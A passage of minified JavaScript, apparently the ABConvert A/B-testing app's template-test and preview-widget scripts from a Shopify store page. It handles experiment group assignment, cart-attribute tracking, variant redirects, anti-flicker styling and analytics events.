t,o;try{t=localStorage.key(r)}catch{return Nr("local_assignment_scan"),null}if(t&&t.startsWith("abconvert.experiment.")&&t.endsWith(".group")){try{o=localStorage.getItem(t)}catch{return Nr("local_assignment_scan"),null}try{const r=JSON.parse(o);if(null==r)continue;const i=t.slice(21,-6);n=!0;const s="number"==typeof r?r:r.groupIndex;-1===s||me(i)||e.push({id:i,groupIndex:s})}catch{}}}return n?e:null}function yr(){const e=wr();return e?[...new Set(e.map((e=>e.id)))].sort():null}function vr(e){return"number"==typeof e?Number.isInteger(e)&&e>=0?e:null:"string"==typeof e&&/^\d+$/.test(e)?parseInt(e,10):null}pr[sr]||(pr[sr]=[]),pr[ir]||(pr[ir]=Promise.resolve());let br=null,xr=null;function _r(){const e=function(e){const t={};for(const{id:n,groupIndex:r}of e){const e=vr(r);null===e||n in t||(t[n]=e)}return t}(wr()??[]),t=pr[d]??{};for(const[n,r]of Object.entries(t)){const t=vr(r);null!==t&&(e[n]=t)}if(0===Object.keys(e).length)return null;const r={[n]:JSON.stringify(e)};br&&(r["_abconvert-visitor"]=br),xr&&(r["_abconvert-session"]=xr);const o=(window?.Shopify?.country||De(Fe)||Ee(Fe)||"").toUpperCase();return o&&(r["_abconvert-country"]=o),r}function Ir(e,t){br=t?String(t):null,xr=e?String(e):null;try{Zn=_r,Qn||"undefined"==typeof document||(Qn=!0,document.addEventListener("click",tr,!0),document.addEventListener("pointerdown",nr,!0),document.addEventListener("keydown",nr,!0),document.addEventListener("submit",rr,!0))}catch{}try{const n=$r(),i=Date.now(),s={...n?.attributes||{}},c=yr();c&&(s[a]=JSON.stringify(c)),e&&(s[r]=String(e)),t&&(s[o]=String(t));const u={version:1,revision:`${Date.now().toString(36)}-${Math.random().toString(36).slice(2)}`,createdAt:n?.createdAt??i,updatedAt:i,attempts:0,readFailures:0,attributes:s};return Or(u)?(kr("tracking_cart_write_pending_created",u),Pr(0)):Sr(e,t)}catch{return Sr(e,t)}}function Sr(e,t){try{const n=[];return e&&n.push(hr(r,e)),t&&n.push(hr(o,t)),n.push(gr({type:"deferred",resolver:()=>{const e=yr();return e?{[a]:JSON.stringify(e)}:{}}})),Promise.allSettled(n).then((()=>{}))}catch{return Promise.resolve()}}function Tr(e,t){try{Ir(e(),t()).catch((()=>{}))}catch{}}function kr(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};try{pr.posthog?.capture?.(e,{schemaVersion:1,revision:t?.revision,attempts:t?.attempts,...n})}catch{}}function Ar(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};t?.revision&&(pr[dr]||(pr[dr]={}),pr[dr][t.revision]||(pr[dr][t.revision]=!0,kr(e,t,n)))}function Nr(e){kr("tracking_cart_write_storage_unavailable",null,{operation:e})}function $r(){let e;try{e=sessionStorage.getItem(or)}catch{return Nr("read"),null}if(!e)return null;try{const t=JSON.parse(e),n=Object.keys(t.attributes||{}),i=[r,o,a];if(1!==t.version||"string"!=typeof t.revision||!Number.isFinite(t.createdAt)||!Number.isFinite(t.updatedAt)||!Number.isInteger(t.attempts)||t.attempts<0||void 0!==t.readFailures&&(!Number.isInteger(t.readFailures)||t.readFailures<0)||n.some((e=>!i.includes(e)))||n.some((e=>"string"!=typeof t.attributes[e])))throw new Error("invalid record");return t.readFailures??=0,Date.now()-t.createdAt>18e5?(Cr(t.revision),Ar("tracking_cart_write_expired",t,{reason:"ttl"}),null):t}
917catch{try{sessionStorage.removeItem(or)}catch{Nr("delete")}return null}}function Or(e){try{return sessionStorage.setItem(or,JSON.stringify(e)),!0}catch{return Nr("write"),!1}}function Cr(e){try{const t=sessionStorage.getItem(or);return!t||JSON.parse(t).revision===e&&(sessionStorage.removeItem(or),!0)}catch{return Nr("delete"),!1}}function Er(e,t){return Object.entries(t).every((t=>{let[n,r]=t;return e?.attributes?.[n]===r}))}function Pr(e){if(pr[cr])return pr[fr]=!0,pr[cr];pr[ur]&&clearTimeout(pr[ur]);const t=new Promise((t=>{pr[ur]=setTimeout((()=>{pr[ur]=null;const e=(pr[ir]||Promise.resolve()).then(Rr);pr[ir]=e.catch((()=>{})),e.catch((()=>{})).finally(t)}),e)}));return pr[cr]=t.finally((()=>{pr[cr]=null,pr[fr]&&(pr[fr]=!1,Pr(0))})),pr[cr]}async function Rr(){const e=$r();if(!e||e.attempts>=10||e.readFailures>=10)return;let t="read",n="network";try{const r=mr(),o=await fetch(`${r}cart.js`);if(!o.ok)throw n="non_ok",new Error("cart read failed");n="parse";const i=await o.json();if(t="write",Er(i,e.attributes))return void(Cr(e.revision)&&Ar("tracking_cart_write_verified",e,{source:"read"}));const s=$r();if(!s||s.revision!==e.revision)return;if(s.attempts+=1,s.updatedAt=Date.now(),!Or(s))return;kr("tracking_cart_write_attempted",s),n="network";const a=await fetch(`${r}cart/update.js`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({attributes:s.attributes})});if(!a.ok)throw n="non_ok",new Error("cart write failed");if(n="parse",!Er(await a.json(),s.attributes))throw n="mismatch",new Error("cart verification failed");Cr(s.revision)&&Ar("tracking_cart_write_verified",s,{source:"write"})}catch{const r=$r();if(!r||r.revision!==e.revision)return;if("read"===t){if(r.readFailures+=1,r.updatedAt=Date.now(),!Or(r))return;kr("tracking_cart_write_read_failed",r,{reason:n})}const o=r.attempts>=10?"post_budget":r.readFailures>=10?"read_budget":null;if(o)return void Ar("tracking_cart_write_retry_exhausted",r,{reason:o});const i="read"===t?r.readFailures:r.attempts,s=Math.min(3e4,250*2**Math.max(0,i-1)),a=Math.round(s*(.75+.5*Math.random()));kr("tracking_cart_write_retry_scheduled",r,{delayMs:a,operation:t,reason:n}),function(e){pr[ur]&&clearTimeout(pr[ur]),pr[ur]=setTimeout((()=>{pr[ur]=null,Pr(0)}),e)}(a)}}function Dr(){$r()&&Pr(0)}pr[lr]||(pr[lr]=!0,window.addEventListener("pageshow",Dr),window.addEventListener("online",Dr)),Dr();const jr="__ABConvertPreviewRegistry";const Lr="abconvert.preview";function Jr(e){try{return window.sessionStorage?.getItem(e)??null}catch(e){return null}}function Ur(e){const t=new URLSearchParams(window.location.search).get("abconvert_preview_key");return t&&t===e?(function(e,t){try{window.sessionStorage?.setItem(e,t)}catch(e){}}(Lr,"true"),function(){const e=new URL(window.location.href);e.searchParams.delete("abconvert_preview_key"),window.history.replaceState({},"",e.toString())}(),!0):!(!e||"true"!==Jr(Lr))}new Set;const Mr="template";const Br="__abconvertScriptSentinels",Gr=Object.freeze({enabled:!0,timeoutMs:1500,redirectTimeoutMs:4e3}),Fr="{visibility:hidden!important}";function qr(e,t){return"number"==typeof e&&e>0?e:t}const zr="abconvert-anti-flicker-page";let Wr=null;const Vr=new Map;let Hr=null,Kr=!1;function Zr(){const e=window.setTimeout(Qr,1e4);return()=>window.clearTimeout(e)}function Qr(){Vr.forEach((e=>e())),Vr.clear(),Hr?.(),Hr=null,Wr?.remove(),Wr=null;
917for(let e=document.getElementById(zr);e;e=document.getElementById(zr))e.remove();window.removeEventListener("pageshow",Xr)}function Yr(e){Vr.get(e)?.(),Vr.delete(e),0!==Vr.size||Kr||Qr()}function Xr(e){e.persisted&&Qr()}const eo="abconvert:redirecting",to="abconvert-redirect-referrer",no="_abrn",ro="__abconvertReferrerRestored",oo=["ABConvert-content-test-v0","ABConvert-content-test-v1","ABConvert-price-test-v0","ABConvert-price-test-v1"];function io(){return window.location.pathname+window.location.search}function so(e){if(""===e)return"";try{const t=new URL(e);return t.origin+t.pathname}catch{return""}}function ao(e){window.location.replace(function(e){try{sessionStorage.setItem(eo,JSON.stringify({fromUrl:io(),ts:Date.now()}))}catch{}return function(e){if("string"!=typeof e||""===e)return e;try{const t=Math.random().toString(36).slice(2,10)+Date.now().toString(36),n=JSON.stringify({referrer:so(document.referrer),marker:t,ts:Date.now()}),r="https:"===window.location.protocol?"; Secure":"";document.cookie=to+"="+encodeURIComponent(n)+"; Max-Age="+Math.floor(60)+"; path=/; SameSite=Lax"+r;const[o,i=""]=e.split("#");return o+(o.includes("?")?"&":"?")+no+"="+t+(i?"#"+i:"")}catch{return e}}(e)}(e)),Kr=!0,Vr.forEach((e=>e())),Vr.clear(),Wr&&(Hr?.(),Hr=Zr())}let co=null;function uo(e){const t=function(){if(null===co){const e=document.querySelector("script[nonce]");co=e?.nonce||e?.getAttribute("nonce")||""}return co}();return t&&(e.setAttribute("nonce",t),e.nonce=t),e}function lo(e){return!e||""===e.trim()}function fo(e){if(!e||!Array.isArray(e.scripts))return[];const t=[];for(const n of e.scripts)n&&!lo(n.code)&&t.push({code:n.code,runAt:"page-load"===n.runAt?"page-load":"assigned"});return t}function po(e,t,n,r,o){const i=uo(document.createElement("script"));i.id=e,i.dataset.abconvertExperiment=t,i.dataset.abconvertGroup=String(n),i.textContent=r;const s=e=>{if(o)return function(e,t){const n=String(t.error?.message??t.message).slice(0,500);e.setAttribute("data-abconvert-error",JSON.stringify(t.lineno>0?{message:n,line:t.lineno}:{message:n}))}(i,e);ne(e.error??new Error(e.message),{script:"custom-code",step:"run",data:{experimentId:t,groupIndex:n}})};window.addEventListener("error",s);try{(document.head||document.documentElement).appendChild(i)}finally{window.removeEventListener("error",s)}}function mo(e,t,n){if(!n)return;const r="abconvert-cc-css-"+e;lo(n.css)||document.getElementById(r)||function(e,t){const n=uo(document.createElement("style"));n.id=e,n.textContent=t,(document.head||document.documentElement).appendChild(n)}(r,n.css);const o=fo(n),i=o.length>0&&function(e=document){return!!e.querySelector("script[data-abconvert-onsite-editor]")}();i&&"1"===De("abconvert.editorJsPaused")||o.forEach(((n,r)=>{const o=`abconvert-cc-js-${e}-${r}`;if(!document.getElementById(o)){if("page-load"===n.runAt&&"loading"===document.readyState){const r=document.createElement("script");return r.id=o,r.type="text/plain",(document.head||document.documentElement).appendChild(r),void document.addEventListener("DOMContentLoaded",(()=>{r.remove(),po(o,e,t,n.code,i)}),{once:!0})}po(o,e,t,n.code,i)}}))}function go(e){const t=e.startTime??e.startedAt;if(null==t)return 0;let n;return n=t instanceof Date?t.getTime():"number"==typeof t?t:Date.parse(t),Number.isNaN(n)?0:n}const ho="browser-api",wo=new Set(["url_force_assign","preview_override"]);let yo=null;function vo(){return yo||(yo=window.__abconvertBrowserApiState??null),yo}function bo(e,t,n){ne(new Error(e),{script:ho,step:t,data:n})}function xo(e,t){try{window.dispatchEvent(new CustomEvent(e,{detail:t,bubbles:!1,cancelable:!1}))}catch(t){bo(t instanceof Error?t.message:String(t),"event-listener",{event:e})}}function _o(e){console.error("[ABConvert] An ABConvertQueue callback failed:",e),ne(e,{script:ho,step:"ready-callback"})}function Io(e,t){if("function"==typeof e)try{const n=e(t);n&&"function"==typeof n.then&&n.then(void 0,_o)}catch(e){_o(e)}}function So(e){if(!e.ready&&e.parseEnded){for(const t of e.expected)if(!e.settled.has(t))return;!function(e,t){if(e.ready)return;if(e.ready=!0,null!==e.ceilingTimer&&(clearTimeout(e.ceilingTimer),e.ceilingTimer=null),"ceiling"===t){const t=[...e.expected].filter((t=>!e.settled.has(t)));bo(`ready ceiling reached with unsettled types: ${t.join(", ")}`,"ready-ceiling",{unsettled:t})}const{api:n,queue:r}=e;r.push=function(...e){return e.forEach((e=>Io(e,n))),r.length}
917,r.splice(0,r.length).forEach((e=>Io(e,n))),xo("abconvert:ready",n)}(e,"settled")}}function To(e){const t=vo();t&&(t.settled.add(e),So(t))}function ko(e){return"number"==typeof e&&Number.isInteger(e)&&e>=0?String(e):"string"==typeof e&&/^\d+$/.test(e)?e:null}const Ao=new Set(["","text/javascript","application/javascript","module"]);const No=new Set(["random_split","force_assign_group","preview_override","url_force_assign"]);function $o(e,t,n){if(!n.inTest)return;const r=function(e,t,n,r){const o=ko(t.numericId),i=t.testGroups?.[n];if(null===o||!i||!No.has(r))return null;const s=!0===t.isPersonalization;return{experimentId:o,experimentName:t.name??"",type:s?"personalization":null!=t.combinedExperimentId?"combined":e,status:"preview"===String(t.status??"").toLowerCase()?"preview":"active",testGroup:{index:n,name:i.name,control:!s&&(i.isControl??0===n),split:i.percentage},reason:r}}(e,t,n.groupIndex,n.reason);r&&function(e){const t=vo();if(!t)return;const n=ko(e?.experimentId);if(null===n)return void bo("assignment registered without a numeric experimentId","register",{experimentId:String(e?.experimentId),type:e?.type});const r=t.assignments.get(n);if(r)return void(r.testGroup.index!==e.testGroup?.index&&bo("combined test registered with differing group indexes","register",{experimentId:n,first:r.testGroup.index,second:e.testGroup?.index}));const o={experimentId:n,experimentName:e.experimentName,type:e.type,status:e.status,testGroup:{...e.testGroup},reason:e.reason};t.assignments.set(n,o),wo.has(o.reason)||xo("abconvert:assignment-ready",function(e){return{...e,testGroup:(t=e.testGroup,{...t})};var t}(o))}(r);const o=t.testGroups?.[n.groupIndex],i="string"==typeof t.experimentId&&""!==t.experimentId?t.experimentId:null!=t.numericId?String(t.numericId):null;o?.customCode&&i&&Xt(t.pageTargeting)&&mo(i,n.groupIndex,o.customCode)}var Oo;(function(e){const t=vo();t&&t.expected.add(e)})(Oo="template"),function(e,t,{runWhenAbsent:n=!1,onGiveUp:r}={}){const o=window;if(void 0!==o[e])return void t();if(n&&!function(e){const t=new RegExp("window\\."+e+"\\s*="),n=document.querySelectorAll("script:not([src])");for(const e of n){const n=(e.getAttribute("type")||"").trim().toLowerCase();if(!Ao.has(n)&&!n.includes("json")&&t.test(e.textContent||""))return!0}return!1}(e))return void t();const i=Date.now()+8e3,s=setInterval((()=>{void 0!==o[e]?(clearInterval(s),t()):Date.now()>i&&(clearInterval(s),n?t():r&&r())}),250)}("abconvertTemplateTestDict",(()=>{try{!function(){if(function(e,t=window){if(function(e=window){try{return!!e.frameElement?.hasAttribute("data-abconvert-preview")}catch{return!1}}(t))return!1;const n=t,r=n[Br]||(n[Br]={});return!r[e]&&(r[e]=!0,!0)}("template-test")){if(window.abconvertTemplateTestDict){const e=window.abconvertTemplateTestDict,t=Ur(e.shopPreviewKey||"");e.experiments&&(e.experiments=e.experiments.filter((function(e){return"Active"===e.status||!e.status||t&&"Preview"===e.status})),t&&e.experiments.forEach((function(e){if("Preview"!==e.status)return;const t="abconvert.experiment."+e.experimentId+".group";null===sessionStorage.getItem(t)&&sessionStorage.setItem(t,"0")}))),t&&function(e,t){const n=(window[jr]||(window[jr]={}),window[jr]);n[e]!==t&&(n[e]=t,window.dispatchEvent(new Event("abconvert:preview-registry-updated")))}(Mr,e)}(async()=>{const e="true"===Jr(Lr);function t(){const e=new URLSearchParams(location.search),t=e.get("preview"),n=e.get("countryCode");return n&&window.sessionStorage.setItem("abconvert-country",n),t&&!isNaN(Number(t))?(window.sessionStorage.setItem("abconvert-preview-number",t),t):window.sessionStorage.getItem("abconvert-preview-number")}function n(e){const t=function(){let e=localStorage.getItem("abconvert-seed");return null==e&&(e=Math.floor(100*Math.random()).toString(),localStorage.setItem("abconvert-seed",e)),e}();let n,r=0;for(n=0;n<e.length;++n)if(r+=e[n].percentage,Number(t)<r)return n;return n}function a(e){let r,o=t();return r=o&&!isNaN(Number(o))?Number(o)>=e.length?0:Number(o):n(e),r}function d(){const e=t();return e&&!isNaN(Number(e))}const f=()=>{let e;localStorage.getItem("shopURL")||window.Shopify&&window.Shopify.shop&&(e=window.Shopify.shop,localStorage.setItem("shopURL",e),console.log("[LOG] Template test: set shop url"))};function p(e,t,n){const r=new RegExp("([?&])"+t+"=.*?(&|$)","i"),o=-1!==e.indexOf("?")?"&":"?";return e.match(r)?e.replace(r,"$1"+t+"="+n+"$2"):e+o+t+"="+n}function m(e,t){return!e||!t||(e===u?!t.some((e=>P(e))):e!==l||t.some((e=>P(e))))}function g(e){const t=e.lastIndexOf(".");return t<=0?e:e.substring(0,t)}function h(e){const t=e.triggerTemplate?.key;return t?g(t):null}function w(e){const t=e.testGroups.findIndex((e=>!0===e.isControl));return-1===t?0:t}function y(e,t){const n=e.templateDict[t];return e.isPersonalization?t===h(e):!!n&&n.groupIndex===w(e)}function v(e,t){return e.isPersonalization?t===h(e):!!e.templateDict?.[t]}async function b({experimentId:e,groupIndex:t}){try{for(let n=0;n<10;n++){await D();const n=await k((window?.Shopify?.routes?.root??"/")+"cart.js","GET");console.log("[LOG] Original cart attributes: ",n.attributes);let a=n.attributes,u={};if(a[c])try{u=JSON.parse(a[c])}catch(e){console.warn("[ABConvert] Failed to parse template cart attribute:",e)}u[e]=t;const l={[c]:JSON.stringify(u),[i]:(window?.Shopify?.country||j()||"").toUpperCase(),[s]:A("abconvert-search-params")??"",[r]:C(),[o]:Tn()};if(console.log("[LOG] New cart attributes: ",l),a[c]&&a[c]==JSON.stringify(u)&&a[i]==l[i])break;{const e={"Content-Type":"application/json"},t=(window?.Shopify?.routes?.root??"/")+"cart/update.js",n=JSON.stringify({attributes:l});(await fetch(t,{method:"POST",headers:e,body:n})).ok?console.log("[LOG] Successfully update cart attributes"):console.log("Failed to update cart attributes")}}}catch(e){console.log("[ERROR] Update cart attributes: ",e)}}function x(t){const n="string"==typeof window.abconvertTemplate?window.abconvertTemplate:"",r=window.location,o=new URLSearchParams(r.
917search),i=function(){const e=new Set;return{isSuppressed:t=>t.some((t=>e.has(t))),claim(t){for(const n of t)e.add(n)}}}();for(const a of function(e){return[...e].sort(((e,t)=>{const n=Number(Boolean(e.isPersonalization))-Number(Boolean(t.isPersonalization));return 0!==n?n:e.isPersonalization?go(t)-go(e):0}))}(t)){const{testGroups:t,experimentId:c,startTime:u,redirectControlGroup:l}=a,d=v(a,n)?[(s=n,`template/${s}`)]:[];if(a.isPersonalization&&i.isSuppressed(d))continue;const f=Bn({experimentId:String(c),numericId:a.numericId,trafficAllocationPercent:a.trafficAllocationPercent,audienceTargeting:a.audienceTargeting??null,forceAssignRules:a.forceAssignRules??null,percentages:a.testPercentages,isPersonalization:a.isPersonalization??!1,assignmentVersion:a.assignmentVersion,experimentStartTime:u,pageTargeting:a.pageTargeting??null});if($o("template",a,f),o.has("_abr")||o.get("view"))continue;if(!m(a.pathConditionType,a.pathConditions))continue;if(!Xt(a.pageTargeting))continue;if(!f.inTest)continue;if(i.claim(d),!y(a,n))continue;const h=f.groupIndex,{suffix:b,key:x}=t[h].variation.template,_=g(x);if(a.isPersonalization&&!b)continue;let I;if(e||bn(f.reason)||"preview_override"===f.reason||(localStorage.setItem(`abconvert-template-test-${c}`,JSON.stringify({experimentId:c,groupIndex:h,startTime:u})),$("template",c,h,Number(u)),Vn(c,h,a.numericId)),_!==n)I=p(r.search,"view",b),I=p(I,"_abr","1");else{if(!l||h!==w(a))continue;I=r.search,b&&(I=p(I,"view",b)),I=p(I,"_abr","1")}const S=window.location.pathname+I+window.location.hash;return Tr(C,Tn),void ao(S)}var s}console.log("[ABConvert] Running ABConvert Template test - 1.0.0 + add country filter + device filter");try{if(window.Shopify?.designMode||window.abconvertDesignMode)return;!function(){!function(){try{const e=function(){try{return new URLSearchParams(window.location.search).get(no)}catch{return null}}();null!==e&&function(){try{const e=new URLSearchParams(window.location.search);e.delete(no);const t=e.toString();window.history.replaceState(window.history.state,"",window.location.pathname+(t?"?"+t:"")+(window.location.hash||""))}catch{}}();const t=function(){try{const e=A(to);if(null===e)return null;const t=JSON.parse(decodeURIComponent(e));if(t&&"string"==typeof t.referrer&&"string"==typeof t.marker&&"number"==typeof t.ts)return t}catch{}return null}();if(null===t)return;if(oo.some((e=>null!==document.getElementById(e))))return;if(null===e||e!==t.marker)return;if(function(){try{document.cookie=to+"=; Max-Age=0; path=/"}catch{}}(),Date.now()-t.ts>=6e4)return;const n=window;if(n[ro])return;const r=Object.getOwnPropertyDescriptor(Document.prototype,"referrer");if(!r||"function"!=typeof r.get)return;const o=r.get,i=t.referrer,s=document;Object.defineProperty(Document.prototype,"referrer",{...r,get(){return this===s?i:o.call(this)}}),n[ro]=!0}catch{}}();const e=function(){try{const e=sessionStorage.getItem(eo);if(null===e)return null;const t=JSON.parse(e);if(t&&"string"==typeof t.fromUrl&&"number"==typeof t.ts)return t}catch{}return null}();if(null===e)return;const t=e.fromUrl!==io(),n=Date.now()-e.ts>=1e4;if(t||n)try{sessionStorage.removeItem(eo)}catch{}}(),O(),localStorage.getItem("abconvert-user-seed")||localStorage.setItem("abconvert-user-seed","0"),f(),document.addEventListener("DOMContentLoaded",f),await async function(){if(!(()=>{const e=navigator.userAgent;return J.some((t=>t.test(e)))})()&&window.abconvertTemplateTestDict){const t=window.abconvertTemplateTestDict;!function(e,t,n,r){if(Vr.has(e))return;const o=function(e){const t=e?.antiFlicker||{};return{enabled:!1!==t.enabled,timeoutMs:qr(t.timeoutMs,Gr.timeoutMs),redirectTimeoutMs:qr(t.redirectTimeoutMs,Gr.redirectTimeoutMs)}}(t);o.enabled&&(Wr||!function(){try{return performance.getEntriesByType("paint").some((e=>"first-contentful-paint"===e.name))}catch{return!1}}())&&n()&&(Wr||(Wr=function(e,t){const n=document.createElement("style");return n.id=e,n.textContent=t,(document.head||document.documentElement).appendChild(n),n}(zr,"html"+Fr),window.addEventListener("pageshow",Xr),Hr=Zr()),Vr.set(e,function(e,t){let n=e,r=null;const o=()=>
917{if("undefined"!=typeof window){if(n-=100,n<=0)return r=null,void t();r=window.setTimeout(o,Math.min(100,n))}};return r=window.setTimeout(o,Math.min(100,n)),()=>{null!==r&&window.clearTimeout(r),r=null}}(r??o.redirectTimeoutMs,(()=>Yr(e)))))}("template",t,(()=>function(e){return e.some((e=>Boolean(e)&&Xt(e.pageTargeting)&&(e.testGroups??e.groups??[]).some((e=>{return t=e?.customCode,Boolean(t)&&(!lo(t.css)||fo(t).some((e=>"page-load"!==e.runAt)));var t}))))}(t.experiments??[])||function(e){const t=new URLSearchParams(window.location.search);if(t.has("_abr")||t.get("view"))return!1;const n="string"==typeof window.abconvertTemplate?window.abconvertTemplate:"";return e.some((e=>!!m(e.pathConditionType,e.pathConditions)&&("version"in e&&"v5"===e.version?Xt(e.pageTargeting)&&y(e,n):0===e.templateDict?.[n]?.groupIndex)))}(t.experiments??[]))),Un(),e||function(){if(!window[qn]){window[qn]=!0;try{const e=sessionStorage.length;if(0===e)return;const t=[];for(let n=0;n<e;n++){const e=sessionStorage.key(n);e&&e.startsWith(Fn)&&t.push(e)}if(0===t.length)return;const n=C();for(const e of t){const t=e.slice(18);if(!t)continue;const r=zn(t);r&&r.sessionId===n&&(Sn(t,r.numericId)||Wn(t,r.groupIndex,n))}}catch{}}}(),window.abconvertTemplateTestDict.fetchCountryCode&&await D();const n=window.abconvertTemplateTestDict.experiments,r=n.filter((e=>!("version"in e)||"v5"!==e.version)),o=n.filter((e=>"version"in e&&"v5"===e.version));!function(t){const n=window.abconvertTemplate,r=window.location;for(let o of t){const{templateDict:t,testGroups:i,experimentId:s,isFilteredByCountry:c,isFilteredByDevice:f,filteredCountries:m,selectedDevice:h,startTime:w,pathConditionType:y,pathConditions:v,redirectControlGroup:b}=o;if(c){const e=j();if(!m.includes(e))continue}if(f&&L()!==h)continue;if(o.selectedVistorType&&o.selectedVistorType!=E(w))continue;let x=!0;if(y&&(y===u&&(x=!v.some((e=>P(e)))),y===l&&(x=v.some((e=>P(e))))),!x)continue;
917const _=new URLSearchParams(r.search),I=_.get("view");if(!_.has("_abr")&&t[n]&&0===t[n].groupIndex&&!I){const t=a(i);d()||e||localStorage.getItem(`abconvert-template-test-${s}`)||(localStorage.setItem(`abconvert-template-test-${s}`,JSON.stringify({experimentId:s,groupIndex:t,startTime:w})),$("template",s,t,Number(w)));const{suffix:o,key:c}=i[t].template;let u;if(g(c)!==n)u=p(r.search,"view",o),u=p(u,"_abr","1");else{if(!b||0!==t)continue;u=r.search,o&&(u=p(u,"view",o)),u=p(u,"_abr","1")}const l=window.location.pathname+u+window.location.hash;return Tr(C,Tn),void ao(l)}}}(r),o.some(en)&&await dt(),await async function(e){const t=function(e){const t=new Set;for(const n of e){if(n?.audienceTargeting?.enabled)for(const e of n.audienceTargeting.groups??[])zt(e?.filters,t);for(const e of n?.forceAssignRules??[])zt(e?.filters,t)}return[...t]}(e);0!==t.length&&(function(e){Jt=[...new Set(e.filter((e=>"string"==typeof e&&e.length>0)))]}(t),await qt())}(o),x(o),e?hr(c,""):(function(e){const t=R+"/api/analytics/template/originalview",n=R+"/api/analytics/template/click",r=R+"/api/analytics/template/bounce",o=R+"/api/analytics/template/staying-time";for(let i of e){const{experimentId:e,templateDict:s,startTime:a}=i;if(s[window.abconvertTemplate]&&(!i.selectedVistorType||i.selectedVistorType===E(a))){const i=localStorage.getItem(`abconvert-template-test-${e}`),c=A(`abconvert-template-test-stay-time-recorded-${e}`);if(i){let u;try{u=JSON.parse(i)}catch(e){console.warn("[ABConvert] Failed to parse template test cookie:",e)}if(!u)continue;const{groupIndex:l}=u;l==s[window.abconvertTemplate].groupIndex&&(b({experimentId:e,groupIndex:l}),H(t,e,l,a),W(n,e,l,a),V(r,e,l,a),c||z(o,"template",e,l,a))}}}}(r),function(e){const t=R+"/api/analytics/template/originalview",n=R+"/api/analytics/template/click",r=R+"/api/analytics/template/bounce",o=R+"/api/analytics/template/staying-time";for(const i of e){const{experimentId:e,templateDict:s,startTime:a}=i;if(!s[window.abconvertTemplate])continue;const c=localStorage.getItem(`abconvert-template-test-${e}`),u=A(`abconvert-template-test-stay-time-recorded-${e}`);if(c){const{groupIndex:l}=JSON.parse(c);if(l==s[window.abconvertTemplate].groupIndex){if(b({experimentId:e,groupIndex:l}),Sn(e,i.numericId))continue;H(t,e,l,a),Vn(e,l,i.numericId),W(n,e,l,a),V(r,e,l,a),u||z(o,"template",e,l,a)}}}}(o),Ir(C(),Tn()))}}()}catch(e){console.log("[ABConvert] Template test error: ",e.message)}finally{Kr||Yr("template"),To("template")}})()}}()}catch(e){throw To(Oo),e}}),{onGiveUp:()=>To(Oo)})})();
918</script>
vendor: 1 bytes, line 918
918
919<script id="ABConvert-preview-widget">
920(()=>{"use strict";var n={63:(n,e,t)=>{t.d(e,{L:()=>c,i:()=>a});var o=t(6868);const r="match_exactly",i={match_exactly:"matches exactly",match_regex_exactly:"matches regex",contains:"contains",ends_with:"ends with",starts_with:"starts with",not_match_exactly:"does not match exactly",not_match_regex_exactly:"does not match regex",not_contains:"does not contain",not_ends_with:"does not end with",not_starts_with:"does not start with"};function a(n){let{groups:e,currentGroupIndex:t,expanded:a=!1,embedded:c=!1}=n;if(!e||0===e.length)return"";const s=e[t];if(!s)return"";const d=function(n){return n.redirectRules&&n.redirectRules.length>0?n.redirectRules.map(((e,t)=>function(n,e){let t=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const o=n.triggerUrl||"",a=n.destinationUrl||"";if(!o&&!a)return"";const c=n.matchType===r,s=e?"":"border-bottom: 1px dashed #e1e3e5;",d=`\n    <div class="abconvert-product-info" style="flex: 1; min-width: 0;">\n      <div style="font-size: 11px; color: #6d7175; margin-bottom: 2px;">From (${i[n.matchType]||n.matchType||""})</div>\n      <div style="font-size: 12px; color: #303030; word-break: break-all; margin-bottom: 8px;">${o}</div>\n      <div style="font-size: 11px; color: #6d7175; margin-bottom: 2px;">To</div>\n      <div style="font-size: 12px; word-break: break-all;">${t?'<span style="color: #8c9196;">No redirect</span>':a}</div>\n    </div>\n  `;return c?`\n      <a href="${o}" class="abconvert-product-item" style="${s}">\n        ${d}\n        <span class="abconvert-product-arrow">→</span>\n      </a>\n    `:`\n    <div style="display: flex; align-items: center; gap: 8px; padding: 6px 10px; margin: 2px 0; ${s}">\n      ${d}\n    </div>\n  `}(e,t===n.redirectRules.length-1,n.isControl))).join(""):n.legacyUrl?`\n      <div style="display: flex; align-items: center; gap: 6px;">\n        <span style="font-size: 10px; color: #8c9196; text-transform: uppercase; letter-spacing: 0.3px; width: 32px; flex-shrink: 0;">To</span>\n        <span style="font-size: 12px; color: #303030; flex: 1; word-break: break-all;">${n.legacyUrl}</span>\n      </div>\n    `:""}(s);return d?(0,o.q)({id:"abconvert-redirect-rules",title:"Redirect URLs",content:`<div class="abconvert-card">${d}</div>`,expanded:a,embedded:c}):""}function c(n,e){(0,o.s)(n,"abconvert-redirect-rules","400px",e)}},947:(n,e,t)=>{t.d(e,{$F:()=>r,G:()=>i,eo:()=>a});const o="__ABConvertPreviewRegistry",r="abconvert:preview-registry-updated";function i(){return window[o]||(window[o]={}),window[o]}function a(n,e){const t=i();t[n]!==e&&(t[n]=e,window.dispatchEvent(new Event(r)))}},1338:(n,e,t)=>{t.d(e,{A:()=>r});var o=t(6538);
920const r={displayName:"Checkout Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("preview"!==n.status)return;const t=n.id;t&&(e[t]={id:t,name:n.name||"Checkout Test",experimentId:n.experimentId??t,status:"Preview",startTime:n.startedAt?new Date(n.startedAt).toISOString():void 0,trafficAllocationPercent:n.traffic?.allocationPercent,audienceTargeting:n.traffic?.audience,forceAssignRules:n.traffic?.forceAssign,groups:(n.groups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,id:n.id,modifications:n.modifications||[]}))),_original:n})})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t?.groups||[];return(0,o.RW)({groups:i,currentGroupIndex:r,expanded:e?.has?.(o.gv)??!1,expandedSections:e,embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.MY)(n,t)}}},1719:(n,e,t)=>{t.d(e,{N:()=>i,c:()=>r});var o=t(6868);function r(n){let{groups:e,currentGroupIndex:t,expanded:r=!1,embedded:i=!1}=n;if(!e||0===e.length)return"";const a=e[t];if(!a)return"";const c=function(n){const e=n.theme||{},t=e.name||"Unknown Theme",o=e.id||"";return`\n    <div style="display: flex; align-items: center; gap: 8px; padding: 6px 10px; margin: 2px 0; ">\n      <div class="abconvert-product-info" style="flex: 1; min-width: 0;">\n        <div 